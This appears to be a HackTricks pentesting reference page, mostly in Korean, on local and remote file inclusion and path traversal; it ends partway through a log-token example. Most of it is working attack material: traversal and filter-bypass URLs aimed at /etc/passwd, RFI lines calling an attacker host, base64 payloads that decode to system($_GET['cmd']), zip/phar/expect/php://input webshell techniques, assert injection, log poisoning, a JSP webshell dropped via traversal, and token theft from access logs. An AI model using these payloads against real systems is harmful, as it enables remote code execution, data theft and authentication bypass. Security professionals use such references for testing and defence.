File Inclusion/Path traversal

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

File Inclusion

Remote File Inclusion (RFI): 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 비활성화되어 있습니다 (allow_url_include).
Local File Inclusion (LFI): 서버가 로컬 파일을 로드합니다.

이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.

취약한 PHP functions: require, require_once, include, include_once

이 취약점을 악용하기 위한 유용한 도구: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

여러 *nix LFI 목록을 합치고 경로를 더 추가하여 만든 목록:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

또한 /\로 변경해 보세요
또한 ../../../../../을 추가해 보세요

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

여러 wordlists의 병합:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

또한 /\로 변경해 보세요
또한 C:/를 제거하고 ../../../../../을 추가해 보세요

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

linux의 LFI 목록을 확인하세요.

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences 비재귀적으로 제거됨

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass 주어진 문자열의 끝에 더 많은 문자를 추가하는 것을 우회합니다 (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

이것은 PHP 5.4 이후로 해결되었습니다

인코딩

비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into $pdf->writeHTML()/Html2Pdf::writeHTML(), you can often exfiltrate local files that the web server account can read.

  • Fingerprint the renderer: 모든 생성된 PDF는 Producer 필드를 포함합니다(예: TCPDF 6.8.2). 정확한 빌드를 알면 어떤 경로 필터가 존재하는지와 URL 디코딩이 검증 전에 수행되는지 여부를 알 수 있습니다.
  • Inline SVG payloads: TCPDF::startSVGElementHandler()urldecode()를 실행하기 전에 <image> 요소의 xlink:href 속성을 읽습니다. 악성 SVG를 data URI 안에 임베드하면 많은 HTML sanitizers가 페이로드를 무시하는 반면 TCPDF는 여전히 이를 파싱합니다:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF는 /로 시작하는 경로에 $_SERVER['DOCUMENT_ROOT']를 앞에 붙이고 나중에야 ..를 처리하므로, prepend 이후 루트에서 벗어나려면 선행으로 ../../.. 세그먼드나 /../../..를 사용하라.

  • 단순 필터를 우회하기 위한 인코딩: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • 다단계 디코딩을 위한 이중 인코딩: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (여권 스캔, API keys rendered as images 등). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

존재하는 폴더에서

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

서버의 파일 시스템 디렉터리 탐색

서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉터리도 재귀적으로 탐색할 수 있다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함한다. 아래는 이를 달성하기 위한 자세한 방법이다:

  1. 디렉터리 깊이 결정: 현재 디렉터리의 깊이는 /etc/passwd 파일을 성공적으로 가져와 확인한다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 세 단계임을 나타낸다:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: URL에 추정되는 폴더 이름(예: private)을 추가한 뒤, 다시 /etc/passwd에 접근합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 결과 해석: 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다:
  • 오류 / 출력 없음: 지정된 위치에 private 폴더가 존재하지 않을 가능성이 큽니다.
  • Contents of /etc/passwd: /etc/passwd의 내용이 표시되면 private 폴더의 존재가 확인됩니다.
  1. 재귀적 탐색: 발견된 폴더는 동일한 기법이나 기존의 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.

파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하십시오. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정할 때 /var/www/private 디렉토리가 있는지 확인하려면 다음을 사용하십시오:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회해 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것이다.

In PHP에서는 파일 시스템의 특성 때문에 파일 경로의 여러 표현이 동일하게 취급될 수 있다. 예를 들어:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ 모두 동일한 경로로 취급된다.
  • 끝에서 6자가 passwd인 경우, 뒤에 /를 붙여 passwd/로 만들어도 대상 파일은 변경되지 않는다.
  • 마찬가지로, 파일 경로에 .php가 붙어 있을 때(예: shellcode.php), 끝에 /.를 추가해도 접근하는 파일은 변경되지 않는다.

다음 예제들은 민감한 내용(사용자 계정 정보) 때문에 자주 대상으로 삼는 /etc/passwd에 접근하기 위해 path truncation을 어떻게 활용하는지 보여준다:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

이러한 시나리오에서는 필요한 traversals 수가 약 2027개에 달할 수 있으나, 이 수치는 서버의 구성에 따라 달라질 수 있습니다.

  • Using Dot Segments and Additional Characters: Traversal sequences (../)와 추가적인 dot segments 및 문자들을 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 뒤에 붙이는 문자열을 사실상 무시하게 만들 수 있습니다.
  • Determining the Required Number of Traversals: 시도와 오류를 통해, 루트 디렉터리로 그리고 그 다음 /etc/passwd로 이동하기 위해 필요한 정확한 ../ 시퀀스 수를 찾아낼 수 있습니다. 이때 .php와 같은 첨부 문자열은 무력화되지만 원하는 경로(/etc/passwd)는 온전하게 유지됩니다.
  • Starting with a Fake Directory: 경로를 존재하지 않는 디렉터리(예: a/)로 시작하는 것은 일반적인 관례입니다. 이 기법은 예방 차원에서 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 쓰입니다.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. 각 시나리오마다 다른 접근이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 실험이 자주 필요합니다.

이 취약점은 PHP 5.3에서 수정되었습니다.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php에서는 기본적으로 비활성화되어 있습니다. 이유는 **allow_url_include**가 **Off.**이기 때문입니다. 작동하려면 On이어야 하며, 그 경우 서버에서 PHP 파일을 포함해 RCE를 얻을 수 있습니다:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

만약 어떤 이유로 allow_url_includeOn 상태인데, PHP가 외부 웹페이지 접근을 필터링하고 있다면, according to this post, 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

노출된 .git 저장소 (소스 공개)

웹 서버가 /.git/을 노출하면, 공격자는 종종 전체 저장소를 재구성(커밋 히스토리를 포함하여)하고 애플리케이션을 오프라인에서 감사할 수 있습니다. 이는 일반적으로 숨겨진 엔드포인트, 비밀, SQL 쿼리 및 관리자 전용 기능을 드러냅니다.

빠른 확인:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

저장소를 git-dumper로 덤프:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

그런 다음 작업 트리를 복구합니다:

cd out
git checkout .

Tip

이전 코드에서 마지막 +.txt는 공격자가 .txt로 끝나는 문자열을 필요로 했기 때문에 추가되었습니다. 문자열은 그로 끝나고 b64 디코딩 후 해당 부분은 단지 무의미한 데이터를 반환하며 실제 PHP 코드는 포함되어(따라서 실행됩니다).

다음은 php:// 프로토콜을 사용하지 않는 또 다른 예입니다:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 루트 요소

python에서 다음과 같은 코드의 경우:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

사용자가 absolute path를 **file_name**에 전달하면, 이전 경로는 단순히 제거됩니다:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

이는 the docs:

구성 요소 중 하나가 절대 경로이면, 이전의 모든 구성 요소는 무시되고 결합은 절대 경로 구성 요소에서 계속됩니다.

Java 디렉터리 목록

Java에서 Path Traversal이 있고 파일 대신 디렉터리를 요청하면, 디렉터리 목록이 반환되는 것 같습니다. 다른 언어에서는 이런 일이 발생하지 않습니다(내가 알기로는).

상위 25 파라미터

다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI: PHP wrappers 및 프로토콜 사용

php://filter

PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 데이터에 대한 수정 작업을 수행할 수 있게 해줍니다. 필터에는 5가지 카테고리가 있습니다:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 데이터에서 태그를 제거합니다 ( “<“와 “>” 문자 사이의 모든 내용 )
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>). 지원되는 모든 인코딩의 목록을 확인하려면 콘솔에서 iconv -l을 실행하세요.

Warning

convert.iconv.* 변환 필터를 악용하면 임의의 텍스트를 생성할 수 있으며, 이는 임의의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 LFI2RCE via php filters를 확인하세요.

  • Compression Filters
  • zlib.deflate: 콘텐츠를 압축합니다 (많은 정보를 exfiltrating할 때 유용)
  • zlib.inflate: 데이터를 압축 해제합니다
  • Encryption Filters
  • mcrypt.* : 사용 중단됨
  • mdecrypt.* : 사용 중단됨
  • Other Filters
  • PHP에서 var_dump(stream_get_filters());를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:
  • consumed
  • dechunk: HTTP chunked encoding을 역으로 처리합니다
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” 부분은 대소문자를 구분하지 않습니다

php filters를 oracle로 사용하여 임의의 파일을 읽기

In this post 에서는 서버가 출력 결과를 반환하지 않아도 로컬 파일을 읽는 기법이 제안되어 있다. 이 기법은 **php filters를 oracle로 사용한 boolean exfiltration of the file (char by char)**에 기반한다. 이는 php filters가 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문이다.

원문에서 기법에 대한 자세한 설명을 볼 수 있지만, 여기서는 간단한 요약을 적는다:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
    • 코덱 **UCS-4LE**을 사용해 텍스트의 선행 문자를 앞에 남기고 문자열 크기가 기하급수적으로 증가하게 한다.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
    • 이렇게 하면 초기 문자가 올바르게 추정되었을 때 텍스트가 매우 커져서 php가 error를 발생시키게 된다.
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
    • dechunk 필터는 첫 문자가 hexadecimal이 아니면 모든 것을 제거한다. 따라서 첫 문자가 hex인지 알 수 있다.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
    • 이전 항목들과(그리고 추정한 문자에 따라 다른 필터들과) 결합하면, 충분한 변환을 적용했을 때 문자가 hexadecimal 문자가 아니게 되는 시점을 관찰함으로써 텍스트의 시작 문자를 추측할 수 있다. 만약 hex라면 dechunk가 삭제하지 않고 초기 bomb이 php error를 발생시킨다.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
    • 코덱 convert.iconv.UNICODE.CP930은 각 문자를 다음 문자로 변환한다(예: a -> b). 따라서 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 hexadecimal 문자가 아니게 되므로 dechunk가 삭제하지 않고 php error가 initial bomb과 결합되어 트리거된다. 이를 통해 예를 들어 첫 문자가 a인지 확인할 수 있다.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
    • 초기에 rot13 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 이동시킬 수 있다).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
    • 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 2글자를 leak하여 숫자를 leak해야 한다.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
    • 최종 문제는 초기 문자보다 더 많은 것을 어떻게 leak할지이다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 같은 order memory 필터를 사용하면 문자들의 순서를 변경해 텍스트의 다른 문자를 첫 위치로 가져올 수 있다.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
    • 추가 데이터를 얻기 위해 아이디어는 convert.iconv.UTF16.UTF16으로 처음에 2 bytes의 junk data를 생성하고, UCS-4LE를 적용해 다음 2바이트와 pivot시키고, **junk data가 나올 때까지 데이터를 삭제(delete the data until the junk data)**하는 것이다(이렇게 하면 초기 텍스트의 첫 2바이트가 제거된다). 원하는 비트가 leak될 때까지 이 과정을 반복한다.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

또한 php://stdin, php://stdout and php://stderr 를 사용하여 각각 file descriptors 0, 1 and 2 에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)

zip:// and rar://

PHPShell이 포함된 Zip 또는 Rar 파일을 업로드한 다음 접근할 수 있습니다.
rar protocol을 악용하려면 해당 기능이 need to be specifically activated.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

이 프로토콜은 php 설정 allow_url_open 및 **allow_url_include**에 의해 제한된다는 점에 유의하세요

expect://

Expect가 활성화되어 있어야 합니다. 다음을 사용해 코드를 실행할 수 있습니다:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST 파라미터에 payload를 지정하세요:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

웹 애플리케이션이 파일 로딩을 위해 include 같은 함수를 사용할 때 .phar 파일을 이용해 PHP 코드를 실행할 수 있다. 아래 PHP 코드 스니펫은 .phar 파일 생성 방법을 보여준다:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar 파일을 컴파일하려면, 다음 명령을 실행해야 합니다:

php --define phar.readonly=0 create_path.php

실행하면 test.phar라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 잠재적으로 활용될 수 있습니다.

LFI가 파일 내의 PHP 코드를 실행하지 않고 file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), 또는 filesize()와 같은 함수들을 통해 파일을 읽기만 하는 경우, deserialization 취약점의 악용을 시도할 수 있습니다. 이 취약점은 phar 프로토콜을 사용한 파일 읽기와 관련되어 있습니다.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

php filters를 지원하는 PHP에서 읽을 수 있는 any arbitrary file read from PHP that supports php filters를 악용하여 RCE를 얻을 수 있었습니다. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

다음에서 더 많은 가능한 protocols to include here:

  • php://memory and php://temp — 메모리나 임시 파일에 기록(이것이 file inclusion attack에서 어떻게 유용한지는 확실하지 않음)
  • file:// — 로컬 파일시스템 접근
  • http:// — HTTP(s) URL 접근
  • ftp:// — FTP(s) URL 접근
  • zlib:// — 압축 스트림
  • glob:// — 패턴과 일치하는 경로명 찾기(출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
  • ssh2:// — Secure Shell 2
  • ogg:// — 오디오 스트림(임의의 파일을 읽는 데 유용하지 않음)

LFI via PHP’s ‘assert’

PHP에서 ‘assert’ 함수는 문자열 내 코드를 실행할 수 있으므로 Local File Inclusion (LFI) 위험이 특히 높습니다. 이는 “..” 같은 디렉터리 트래버설 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않을 때 특히 문제가 됩니다.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

이것은 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:

' and die(highlight_file('/etc/passwd')) or '

마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

이 기술은 당신이 PHP 함수파일 경로제어할 수 있고 그 함수가 파일에 접근하지만(예: 단순한 file() 호출) 파일 내용을 볼 수 없는 경우에 관련됩니다. 단, 내용이 표시되지 않습니다.

In this incredible post에서는 blind path traversal이 PHP filter를 통해 어떻게 에러 오라클을 이용해 파일의 내용을 exfiltrate할 수 있는지 설명합니다.

요약하면, 이 기법은 파일 내용을 매우 크게 만들기 위해 “UCS-4LE” encoding을 사용하여 파일을 열던 PHP functionerror를 일으키게 합니다.

그 다음 첫 문자를 leak하기 위해 필터 **dechunk**가 base64rot13 같은 다른 필터들과 함께 사용되며, 마지막으로 필터 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE가 사용되어 다른 문자들을 시작 부분에 배치하고 이를 leak합니다.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

기술적 세부사항은 앞서 언급한 포스트를 확인하세요!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

서버 측 코드가 파일을 수집/업로드할 때 대상 경로를 사용자 제어 데이터(예: filename 또는 URL)를 사용해 canonicalising 및 검증 없이 구성하면, .. 세그먼트와 절대 경로로 의도된 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 웹에 노출된 디렉터리에 배치할 수 있다면, 보통 webshell을 올려 비인증 RCE를 얻을 수 있습니다.

Typical exploitation workflow:

  • 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트나 백그라운드 워커에서 write primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
  • 웹에 노출된 디렉터리를 확인합니다. 일반적인 예:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 의도된 저장 디렉터리에서 webroot로 빠져나가도록 traversal 경로를 구성하고, webshell 내용을 포함시킵니다.
  • 배치한 페이로드에 접속해 명령을 실행합니다.

Notes:

  • 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004의 JMF XML 리스너). 이후 메인 웹 포털(다른 포트)이 당신의 페이로드를 서빙할 것입니다.
  • Java 스택에서는 이러한 파일 쓰기가 종종 단순한 File/Paths concatenation으로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

하드닝(해결책) — 이 클래스의 버그를 차단하는 방법:

  • 정규화된(canonical) 경로로 해석하고 허용된 기본 디렉터리(allow-listed)의 하위 경로인지 강제 검증하세요.
  • .., 절대 루트 또는 드라이브 문자가 포함된 경로는 모두 거부하고, 생성된 파일 이름을 사용하세요.
  • 쓰기 작업(writer)은 저권한 계정으로 실행하고, 쓰기 디렉터리와 서빙되는(served) 루트를 분리하세요.

Remote File Inclusion

이전에 설명했습니다. follow this link.

Via Apache/Nginx log file

Apache 또는 Nginx 서버가 vulnerable to LFI inside the include function인 경우, **/var/log/apache2/access.log or /var/log/nginx/access.log**에 접근을 시도해 user agentGET parameter에 php shell 예: <?php system($_GET['c']); ?> 를 넣고 해당 파일을 include 해볼 수 있습니다.

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.

다른 로그에서도 동일하게 시도할 수 있지만 be careful, 로그 내부의 코드가 URL encoded 되어 있을 수 있어 Shell이 망가질 수 있습니다. 헤더 **authorisation “basic”**에는 Base64로 인코딩된 “user:password“가 포함되어 로그에 디코딩된 형태로 남습니다. PHPShell은 이 헤더 안에 삽입할 수도 있습니다.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

access logs를 읽어 GET-based auth tokens 수집 (token replay)

많은 앱이 실수로 session/auth 토큰을 GET을 통해 받아들입니다 (예: AuthenticationToken, token, sid). path traversal/LFI primitive로 web server logs에 접근할 수 있다면, access logs에서 해당 토큰을 훔쳐 replay하여 authentication을 완전히 우회할 수 있습니다.

How-to:

  • traversal/LFI를 사용하여 web server access log를 읽습니다. 일반적인 위치:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 일부 엔드포인트는 파일 읽기 결과를 Base64-encoded로 반환합니다. 그런 경우 로컬에서 디코드한 뒤 로그 라인을 확인하세요.
  • token 파라미터를 포함한 GET 요청을 grep하여 값을 추출한 다음, 이를 application entry point에 replay하세요.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

